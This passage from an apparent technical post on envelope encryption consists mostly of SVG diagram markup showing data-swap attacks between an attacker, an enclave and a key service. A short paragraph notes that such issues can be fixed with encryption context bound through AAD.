<text text-anchor="middle" x="48" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">k</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="64" y="132" fill="currentColor">s</text>
<text text-anchor="middle" x="64" y="276" fill="currentColor">E</text>
<text text-anchor="middle" x="64" y="324" fill="currentColor">{</text>
<text text-anchor="middle" x="72" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="72" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="72" y="180" fill="currentColor">(</text>
<text text-anchor="middle" x="72" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="72" y="324" fill="currentColor">E</text>
<text text-anchor="middle" x="72" y="436" fill="currentColor">(</text>
<text text-anchor="middle" x="80" y="132" fill="currentColor">o</text>
<text text-anchor="middle" x="80" y="180" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="80" y="324" fill="currentColor">2</text>
<text text-anchor="middle" x="80" y="436" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="452" fill="currentColor">i</text>
<text text-anchor="middle" x="88" y="132" fill="currentColor">r</text>
<text text-anchor="middle" x="88" y="180" fill="currentColor">,</text>
<text text-anchor="middle" x="88" y="276" fill="currentColor">r</text>
<text text-anchor="middle" x="88" y="324" fill="currentColor">=</text>
<text text-anchor="middle" x="88" y="388" fill="currentColor">C</text>
<text text-anchor="middle" x="88" y="436" fill="currentColor">2</text>
<text text-anchor="middle" x="88" y="452" fill="currentColor">n</text>
<text text-anchor="middle" x="96" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="180" fill="currentColor">C</text>
<text text-anchor="middle" x="96" y="276" fill="currentColor">y</text>
<text text-anchor="middle" x="96" y="324" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="388" fill="currentColor">2</text>
<text text-anchor="middle" x="96" y="436" fill="currentColor">,</text>
<text text-anchor="middle" x="96" y="452" fill="currentColor">s</text>
<text text-anchor="middle" x="104" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="104" y="180" fill="currentColor">)</text>
<text text-anchor="middle" x="104" y="276" fill="currentColor">p</text>
<text text-anchor="middle" x="104" y="324" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="388" fill="currentColor">=</text>
<text text-anchor="middle" x="104" y="436" fill="currentColor">C</text>
<text text-anchor="middle" x="104" y="452" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="132" fill="currentColor">E</text>
<text text-anchor="middle" x="112" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="112" y="324" fill="currentColor">c</text>
<text text-anchor="middle" x="112" y="388" fill="currentColor">e</text>
<text text-anchor="middle" x="112" y="436" fill="currentColor">2</text>
<text text-anchor="middle" x="112" y="452" fill="currentColor">e</text>
<text text-anchor="middle" x="120" y="132" fill="currentColor">,</text>
<text text-anchor="middle" x="120" y="244" fill="currentColor">D</text>
<text text-anchor="middle" x="120" y="276" fill="currentColor">(</text>
<text text-anchor="middle" x="120" y="324" fill="currentColor">(</text>
<text text-anchor="middle" x="120" y="388" fill="currentColor">n</text>
<text text-anchor="middle" x="120" y="436" fill="currentColor">)</text>
<text text-anchor="middle" x="120" y="452" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="132" fill="currentColor">C</text>
<text text-anchor="middle" x="128" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="128" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="128" y="324" fill="currentColor">c</text>
<text text-anchor="middle" x="128" y="388" fill="currentColor">c</text>
<text text-anchor="middle" x="128" y="452" fill="currentColor">d</text>
<text text-anchor="middle" x="136" y="132" fill="currentColor">=</text>
<text text-anchor="middle" x="136" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="136" y="276" fill="currentColor">m</text>
<text text-anchor="middle" x="136" y="324" fill="currentColor">m</text>
<text text-anchor="middle" x="136" y="388" fill="currentColor">(</text>
<text text-anchor="middle" x="144" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="144" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="144" y="276" fill="currentColor">k</text>
<text text-anchor="middle" x="144" y="324" fill="currentColor">k</text>
<text text-anchor="middle" x="144" y="388" fill="currentColor">d</text>
<text text-anchor="middle" x="144" y="452" fill="currentColor">o</text>
<text text-anchor="middle" x="152" y="132" fill="currentColor">n</text>
<text text-anchor="middle" x="152" y="276" fill="currentColor">_</text>
<text text-anchor="middle" x="152" y="324" fill="currentColor">,</text>
<text text-anchor="middle" x="152" y="388" fill="currentColor">k</text>
<text text-anchor="middle" x="152" y="452" fill="currentColor">f</text>
<text text-anchor="middle" x="160" y="132" fill="currentColor">c</text>
<text text-anchor="middle" x="160" y="244" fill="currentColor">s</text>
<text text-anchor="middle" x="160" y="276" fill="currentColor">i</text>
<text text-anchor="middle" x="160" y="324" fill="currentColor">d</text>
<text text-anchor="middle" x="160" y="388" fill="currentColor">2</text>
<text text-anchor="middle" x="168" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="168" y="244" fill="currentColor">w</text>
<text text-anchor="middle" x="168" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="168" y="324" fill="currentColor">k</text>
<text text-anchor="middle" x="168" y="388" fill="currentColor">,</text>
<text text-anchor="middle" x="168" y="452" fill="currentColor">(</text>
<text text-anchor="middle" x="176" y="132" fill="currentColor">d</text>
<text text-anchor="middle" x="176" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="176" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="176" y="324" fill="currentColor">2</text>
<text text-anchor="middle" x="176" y="388" fill="currentColor">P</text>
<text text-anchor="middle" x="176" y="452" fill="currentColor">E</text>
<text text-anchor="middle" x="184" y="132" fill="currentColor">k</text>
<text text-anchor="middle" x="184" y="244" fill="currentColor">p</text>
<text text-anchor="middle" x="184" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="184" y="324" fill="currentColor">,</text>
<text text-anchor="middle" x="184" y="388" fill="currentColor">2</text>
<text text-anchor="middle" x="184" y="452" fill="currentColor">,</text>
<text text-anchor="middle" x="192" y="132" fill="currentColor">,</text>
<text text-anchor="middle" x="192" y="276" fill="currentColor">k</text>
<text text-anchor="middle" x="192" y="324" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="388" fill="currentColor">)</text>
<text text-anchor="middle" x="192" y="452" fill="currentColor">C</text>
<text text-anchor="middle" x="200" y="132" fill="currentColor">P</text>
<text text-anchor="middle" x="200" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="200" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="200" y="324" fill="currentColor">C</text>
<text text-anchor="middle" x="200" y="452" fill="currentColor">)</text>
<text text-anchor="middle" x="208" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="208" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="208" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="208" y="324" fill="currentColor">1</text>
<text text-anchor="middle" x="216" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="216" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="216" y="276" fill="currentColor">E</text>
<text text-anchor="middle" x="216" y="324" fill="currentColor">)</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="224" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="224" y="276" fill="currentColor">C</text>
<text text-anchor="middle" x="224" y="324" fill="currentColor">}</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="232" y="244" fill="currentColor">c</text>
<text text-anchor="middle" x="232" y="276" fill="currentColor">1</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="240" y="244" fill="currentColor">k</text>
<text text-anchor="middle" x="240" y="276" fill="currentColor">)</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="256" y="244" fill="currentColor">w</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="264" y="244" fill="currentColor">i</text>
<text text-anchor="middle" x="272" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="272" y="84" fill="currentColor">{</text>
<text text-anchor="middle" x="272" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="272" y="500" fill="currentColor">D</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="280" y="244" fill="currentColor">h</text>
<text text-anchor="middle" x="280" y="500" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="84" fill="currentColor">=</text>
<text text-anchor="middle" x="288" y="500" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="244" fill="currentColor">E</text>
<text text-anchor="middle" x="296" y="500" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="612" fill="currentColor">d</text>
<text text-anchor="middle" x="304" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="84" fill="currentColor">n</text>
<text text-anchor="middle" x="304" y="244" fill="currentColor">n</text>
<text text-anchor="middle" x="304" y="500" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="612" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="312" y="244" fill="currentColor">c</text>
<text text-anchor="middle" x="312" y="500" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="612" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="84" fill="currentColor">(</text>
<text text-anchor="middle" x="320" y="244" fill="currentColor">r</text>
<text text-anchor="middle" x="320" y="500" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="612" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="328" y="244" fill="currentColor">y</text>
<text text-anchor="middle" x="328" y="500" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="612" fill="currentColor">d</text>
<text text-anchor="middle" x="336" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="84" fill="currentColor">m</text>
<text text-anchor="middle" x="336" y="244" fill="currentColor">p</text>
<text text-anchor="middle" x="336" y="500" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="548" fill="currentColor">{</text>
<text text-anchor="middle" x="336" y="612" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="628" fill="currentColor">P</text>
<text text-anchor="middle" x="344" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="344" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="344" y="500" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="548" fill="currentColor">d</text>
<text text-anchor="middle" x="344" y="612" fill="currentColor">2</text>
<text text-anchor="middle" x="344" y="628" fill="currentColor">2</text>
<text text-anchor="middle" x="352" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="352" y="500" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="548" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="612" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="360" y="500" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="548" fill="currentColor">2</text>
<text text-anchor="middle" x="360" y="612" fill="currentColor">C</text>
<text text-anchor="middle" x="360" y="628" fill="currentColor">≠</text>
<text text-anchor="middle" x="368" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="368" y="500" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="548" fill="currentColor">}</text>
<text text-anchor="middle" x="368" y="612" fill="currentColor">2</text>
<text text-anchor="middle" x="376" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="376" y="500" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="612" fill="currentColor">)</text>
<text text-anchor="middle" x="376" y="628" fill="currentColor">P</text>
<text text-anchor="middle" x="384" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="384" y="500" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="36" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="84" fill="currentColor">C</text>
<text text-anchor="middle" x="392" y="500" fill="currentColor">E</text>
<text text-anchor="middle" x="400" y="36" fill="currentColor">c</text>
<text text-anchor="middle" x="400" y="84" fill="currentColor">1</text>
<text text-anchor="middle" x="400" y="500" fill="currentColor">2</text>
<text text-anchor="middle" x="408" y="36" fill="currentColor">m</text>
<text text-anchor="middle" x="408" y="84" fill="currentColor">)</text>
<text text-anchor="middle" x="408" y="500" fill="currentColor">,</text>
<text text-anchor="middle" x="416" y="36" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="416" y="500" fill="currentColor">E</text>
<text text-anchor="middle" x="424" y="36" fill="currentColor">_</text>
<text text-anchor="middle" x="424" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="424" y="500" fill="currentColor">C</text>
<text text-anchor="middle" x="432" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="432" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="432" y="500" fill="currentColor">1</text>
<text text-anchor="middle" x="440" y="36" fill="currentColor">d</text>
<text text-anchor="middle" x="440" y="84" fill="currentColor">}</text>
<text text-anchor="middle" x="440" y="500" fill="currentColor">)</text>
<text text-anchor="middle" x="448" y="36" fill="currentColor">,</text>
<text text-anchor="middle" x="456" y="36" fill="currentColor">E</text>
<text text-anchor="middle" x="464" y="36" fill="currentColor">C</text>
<text text-anchor="middle" x="472" y="36" fill="currentColor">1</text>
<text text-anchor="middle" x="480" y="36" fill="currentColor">)</text>
<text text-anchor="middle" x="488" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="496" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="504" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>
<figcaption><span>Figure 4: Data swap attack with Encrypt operation.</span></figcaption></figure>
<p>The attacks we’ve discussed so far have been on the “envelope” level. Similar issues exist on the DK
level if a DK is used multiple times (though this rarely happens). These issues should be solvable
with correct encryption context implemented via AAD.</p>
<figure>
 <div class="tabs">

<label class="tabs__label" for="tabs-6-0">Attack</label>
<div class="tabs__panel">

<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 512 777">
 <g transform="translate(8,16)">
<path d="M 256,48 L 472,48" fill="none" stroke="currentColor"></path>
<path d="M 264,96 L 272,96" fill="none" stroke="currentColor"></path>
<path d="M 288,96 L 296,96" fill="none" stroke="currentColor"></path>
<path d="M 304,96 L 312,96" fill="none" stroke="currentColor"></path>
<path d="M 320,96 L 328,96" fill="none" stroke="currentColor"></path>
<path d="M 336,96 L 344,96" fill="none" stroke="currentColor"></path>
<path d="M 352,96 L 360,96" fill="none" stroke="currentColor"></path>
<path d="M 368,96 L 376,96" fill="none" stroke="currentColor"></path>
<path d="M 384,96 L 392,96" fill="none" stroke="currentColor"></path>
<path d="M 400,96 L 408,96" fill="none" stroke="currentColor"></path>
<path d="M 416,96 L 424,96" fill="none" stroke="currentColor"></path>
<path d="M 432,96 L 440,96" fill="none" stroke="currentColor"></path>
<path d="M 448,96 L 456,96" fill="none" stroke="currentColor"></path>
<path d="M 464,96 L 472,96" fill="none" stroke="currentColor"></path>
<path d="M 256,128 L 280,128" fill="none" stroke="currentColor"></path>
<path d="M 264,176 L 280,176" fill="none" stroke="currentColor"></path>
<path d="M 56,224 L 256,224" fill="none" stroke="currentColor"></path>
<path d="M 56,272 L 64,272" fill="none" stroke="currentColor"></path>
<path d="M 72,272 L 80,272" fill="none" stroke="currentColor"></path>
<path d="M 88,272 L 96,272" fill="none" stroke="currentColor"></path>
<path d="M 104,272 L 112,272" fill="none" stroke="currentColor"></path>
<path d="M 120,272 L 128,272" fill="none" stroke="currentColor"></path>
<path d="M 136,272 L 144,272" fill="none" stroke="currentColor"></path>
<path d="M 152,272 L 160,272" fill="none" stroke="currentColor"></path>
<path d="M 168,272 L 176,272" fill="none" stroke="currentColor"></path>
<path d="M 184,272 L 192,272" fill="none" stroke="currentColor"></path>
<path d="M 200,272 L 208,272" fill="none" stroke="currentColor"></path>
<path d="M 216,272 L 224,272" fill="none" stroke="currentColor"></path>
<path d="M 232,272 L 248,272" fill="none" stroke="currentColor"></path>
<path d="M 256,320 L 472,320" fill="none" stroke="currentColor"></path>
<path d="M 264,368 L 272,368" fill="none" stroke="currentColor"></path>
<path d="M 288,368 L 296,368" fill="none" stroke="currentColor"></path>
<path d="M 304,368 L 312,368" fill="none" stroke="currentColor"></path>
<path d="M 320,368 L 328,368" fill="none" stroke="currentColor"></path>
<path d="M 336,368 L 344,368" fill="none" stroke="currentColor"></path>
<path d="M 352,368 L 360,368" fill="none" stroke="currentColor"></path>
<path d="M 368,368 L 376,368" fill="none" stroke="currentColor"></path>
<path d="M 384,368 L 392,368" fill="none" stroke="currentColor"></path>
<path d="M 400,368 L 408,368" fill="none" stroke="currentColor"></path>
<path d="M 416,368 L 424,368" fill="none" stroke="currentColor"></path>
<path d="M 432,368 L 440,368" fill="none" stroke="currentColor"></path>
<path d="M 448,368 L 456,368" fill="none" stroke="currentColor"></path>
<path d="M 464,368 L 472,368" fill="none" stroke="currentColor"></path>
<path d="M 256,400 L 280,400" fill="none" stroke="currentColor"></path>
<path d="M 376,416 L 384,416" fill="none" stroke="currentColor"></path>
<path d="M 264,432 L 280,432" fill="none" stroke="currentColor"></path>
<path d="M 0,464 L 48,464" fill="none" stroke="currentColor"></path>
<path d="M 48,464 L 104,464" fill="none" stroke="currentColor"></path>
<path d="M 200,464 L 480,464" fill="none" stroke="currentColor"></path>
<path d="M 480,464 L 496,464" fill="none" stroke="currentColor"></path>
<path d="M 56,528 L 64,528" fill="none" stroke="currentColor"></path>
<path d="M 72,528 L 80,528" fill="none" stroke="currentColor"></path>
<path d="M 88,528 L 96,528" fill="none" stroke="currentColor"></path>
<path d="M 104,528 L 112,528" fill="none" stroke="currentColor"></path>
<path d="M 120,528 L 128,528" fill="none" stroke="currentColor"></path>
<path d="M 136,528 L 144,528" fill="none" stroke="currentColor"></path>
<path d="M 152,528 L 160,528" fill="none" stroke="currentColor"></path>
<path d="M 168,528 L 176,528" fill="none" stroke="currentColor"></path>
<path d="M 184,528 L 192,528" fill="none" stroke="currentColor"></path>
<path d="M 200,528 L 208,528" fill="none" stroke="currentColor"></path>
<path d="M 216,528 L 224,528" fill="none" stroke="currentColor"></path>
<path d="M 232,528 L 248,528" fill="none" stroke="currentColor"></path>
<path d="M 256,576 L 472,576" fill="none" stroke="currentColor"></path>
<path d="M 264,624 L 272,624" fill="none" stroke="currentColor"></path>
<path d="M 288,624 L 296,624" fill="none" stroke="currentColor"></path>
<path d="M 304,624 L 312,624" fill="none" stroke="currentColor"></path>
<path d="M 320,624 L 328,624" fill="none" stroke="currentColor"></path>
<path d="M 336,624 L 344,624" fill="none" stroke="currentColor"></path>
<path d="M 352,624 L 360,624" fill="none" stroke="currentColor"></path>
<path d="M 368,624 L 376,624" fill="none" stroke="currentColor"></path>
<path d="M 384,624 L 392,624" fill="none" stroke="currentColor"></path>
<path d="M 400,624 L 408,624" fill="none" stroke="currentColor"></path>
<path d="M 416,624 L 424,624" fill="none" stroke="currentColor"></path>
<path d="M 432,624 L 440,624" fill="none" stroke="currentColor"></path>
<path d="M 448,624 L 456,624" fill="none" stroke="currentColor"></path>
<path d="M 464,624 L 472,624" fill="none" stroke="currentColor"></path>
<path d="M 256,656 L 280,656" fill="none" stroke="currentColor"></path>
<path d="M 312,688 L 320,688" fill="none" stroke="currentColor"></path>
<path d="M 264,704 L 280,704" fill="none" stroke="currentColor"></path>
<path d="M 0,736 L 48,736" fill="none" stroke="currentColor"></path>
<path d="M 48,736 L 256,736" fill="none" stroke="currentColor"></path>
<path d="M 256,736 L 480,736" fill="none" stroke="currentColor"></path>
<path d="M 480,736 L 496,736" fill="none" stroke="currentColor"></path>
<path d="M 0,464 L 0,736" fill="none" stroke="currentColor"></path>
<path d="M 48,16 L 48,464" fill="none" stroke="currentColor"></path>
<path d="M 48,464 L 48,736" fill="none" stroke="currentColor"></path>
<path d="M 48,736 L 48,752" fill="none" stroke="currentColor"></path>
<path d="M 256,16 L 256,48" fill="none" stroke="currentColor"></path>
<path d="M 256,48 L 256,128" fill="none" stroke="currentColor"></path>
<path d="M 256,128 L 256,224" fill="none" stroke="currentColor"></path>
<path d="M 256,224 L 256,320" fill="none" stroke="currentColor"></path>
<path d="M 256,320 L 256,400" fill="none" stroke="currentColor"></path>
<path d="M 256,400 L 256,448" fill="none" stroke="currentColor"></path>
<path d="M 256,480 L 256,576" fill="none" stroke="currentColor"></path>
<path d="M 256,576 L 256,656" fill="none" stroke="currentColor"></path>
<path d="M 256,656 L 256,736" fill="none" stroke="currentColor"></path>
<path d="M 256,736 L 256,752" fill="none" stroke="currentColor"></path>
<path d="M 280,128 L 280,176" fill="none" stroke="currentColor"></path>
<path d="M 280,400 L 280,432" fill="none" stroke="currentColor"></path>
<path d="M 280,656 L 280,704" fill="none" stroke="currentColor"></path>
<path d="M 480,16 L 480,464" fill="none" stroke="currentColor"></path>
<path d="M 480,464 L 480,736" fill="none" stroke="currentColor"></path>
<path d="M 480,736 L 480,752" fill="none" stroke="currentColor"></path>
<path d="M 496,464 L 496,736" fill="none" stroke="currentColor"></path>
<path d="M 256,448 L 256,456" fill="none" stroke="currentColor"></path>
<path d="M 256,472 L 256,480" fill="none" stroke="currentColor"></path>
<polygon points="64.000000,224.000000 52.000000,218.399994 52.000000,229.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 224.000000)"></polygon>
<polygon points="256.000000,272.000000 244.000000,266.399994 244.000000,277.600006" fill="currentColor" transform="rotate(0.000000, 248.000000, 272.000000)"></polygon>
<polygon points="256.000000,528.000000 244.000000,522.400024 244.000000,533.599976" fill="currentColor" transform="rotate(0.000000, 248.000000, 528.000000)"></polygon>
<polygon points="272.000000,96.000000 260.000000,90.400002 260.000000,101.599998" fill="currentColor" transform="rotate(180.000000, 264.000000, 96.000000)"></polygon>
<polygon points="272.000000,176.000000 260.000000,170.399994 260.000000,181.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 176.000000)"></polygon>
<polygon points="272.000000,368.000000 260.000000,362.399994 260.000000,373.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 368.000000)"></polygon>
<polygon points="272.000000,432.000000 260.000000,426.399994 260.000000,437.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 432.000000)"></polygon>
<polygon points="272.000000,624.000000 260.000000,618.400024 260.000000,629.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 624.000000)"></polygon>
<polygon points="272.000000,704.000000 260.000000,698.400024 260.000000,709.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 704.000000)"></polygon>
<polygon points="328.000000,688.000000 316.000000,682.400024 316.000000,693.599976" fill="currentColor" transform="rotate(0.000000, 320.000000, 688.000000)"></polygon>
<polygon points="392.000000,416.000000 380.000000,410.399994 380.000000,421.600006" fill="currentColor" transform="rotate(0.000000, 384.000000, 416.000000)"></polygon>
<polygon points="480.000000,48.000000 468.000000,42.400002 468.000000,53.599998" fill="currentColor" transform="rotate(0.000000, 472.000000, 48.000000)"></polygon>
<polygon points="480.000000,320.000000 468.000000,314.399994 468.000000,325.600006" fill="currentColor" transform="rotate(0.000000, 472.000000, 320.000000)"></polygon>
<polygon points="480.000000,576.000000 468.000000,570.400024 468.000000,581.599976" fill="currentColor" transform="rotate(0.000000, 472.000000, 576.000000)"></polygon>
<text text-anchor="middle" x="16" y="4" fill="currentColor">A</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">k</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="72" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="72" y="260" fill="currentColor">(</text>
<text text-anchor="middle" x="72" y="500" fill="currentColor">(</text>
<text text-anchor="middle" x="80" y="260" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="500" fill="currentColor">E</text>
<text text-anchor="middle" x="88" y="212" fill="currentColor">s</text>
<text text-anchor="middle" x="88" y="260" fill="currentColor">,</text>
<text text-anchor="middle" x="88" y="500" fill="currentColor">,</text>
<text text-anchor="middle" x="88" y="516" fill="currentColor">i</text>
<text text-anchor="middle" x="96" y="212" fill="currentColor">t</text>
<text text-anchor="middle" x="96" y="260" fill="currentColor">C</text>
<text text-anchor="middle" x="96" y="500" fill="currentColor">C</text>
<text text-anchor="middle" x="96" y="516" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="212" fill="currentColor">o</text>
<text text-anchor="middle" x="104" y="260" fill="currentColor">)</text>
<text text-anchor="middle" x="104" y="500" fill="currentColor">2</text>
<text text-anchor="middle" x="104" y="516" fill="currentColor">s</text>
<text text-anchor="middle" x="112" y="212" fill="currentColor">r</text>
<text text-anchor="middle" x="112" y="500" fill="currentColor">)</text>
<text text-anchor="middle" x="112" y="516" fill="currentColor">t</text>
<text text-anchor="middle" x="120" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="120" y="468" fill="currentColor">D</text>
<text text-anchor="middle" x="120" y="516" fill="currentColor">e</text>
<text text-anchor="middle" x="128" y="212" fill="currentColor">(</text>
<text text-anchor="middle" x="128" y="468" fill="currentColor">K</text>
<text text-anchor="middle" x="128" y="516" fill="currentColor">a</text>
<text text-anchor="middle" x="136" y="212" fill="currentColor">E</text>
<text text-anchor="middle" x="136" y="516" fill="currentColor">d</text>
<text text-anchor="middle" x="144" y="212" fill="currentColor">,</text>
<text text-anchor="middle" x="144" y="468" fill="currentColor">a</text>
<text text-anchor="middle" x="152" y="212" fill="currentColor">C</text>
<text text-anchor="middle" x="152" y="468" fill="currentColor">t</text>
<text text-anchor="middle" x="152" y="516" fill="currentColor">o</text>
<text text-anchor="middle" x="160" y="212" fill="currentColor">,</text>
<text text-anchor="middle" x="160" y="468" fill="currentColor">t</text>
<text text-anchor="middle" x="160" y="516" fill="currentColor">f</text>
<text text-anchor="middle" x="168" y="212" fill="currentColor">C</text>
<text text-anchor="middle" x="168" y="468" fill="currentColor">a</text>
<text text-anchor="middle" x="176" y="212" fill="currentColor">2</text>
<text text-anchor="middle" x="176" y="468" fill="currentColor">c</text>
<text text-anchor="middle" x="176" y="516" fill="currentColor">(</text>
<text text-anchor="middle" x="184" y="212" fill="currentColor">)</text>
<text text-anchor="middle" x="184" y="468" fill="currentColor">k</text>
<text text-anchor="middle" x="184" y="516" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="516" fill="currentColor">,</text>
<text text-anchor="middle" x="200" y="516" fill="currentColor">C</text>
<text text-anchor="middle" x="208" y="516" fill="currentColor">)</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="272" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="272" y="308" fill="currentColor">D</text>
<text text-anchor="middle" x="272" y="564" fill="currentColor">D</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="84" fill="currentColor">{</text>
<text text-anchor="middle" x="280" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="564" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="288" y="308" fill="currentColor">c</text>
<text text-anchor="middle" x="288" y="564" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="84" fill="currentColor">=</text>
<text text-anchor="middle" x="296" y="148" fill="currentColor">C</text>
<text text-anchor="middle" x="296" y="164" fill="currentColor">C</text>
<text text-anchor="middle" x="296" y="308" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="296" y="564" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="676" fill="currentColor">d</text>
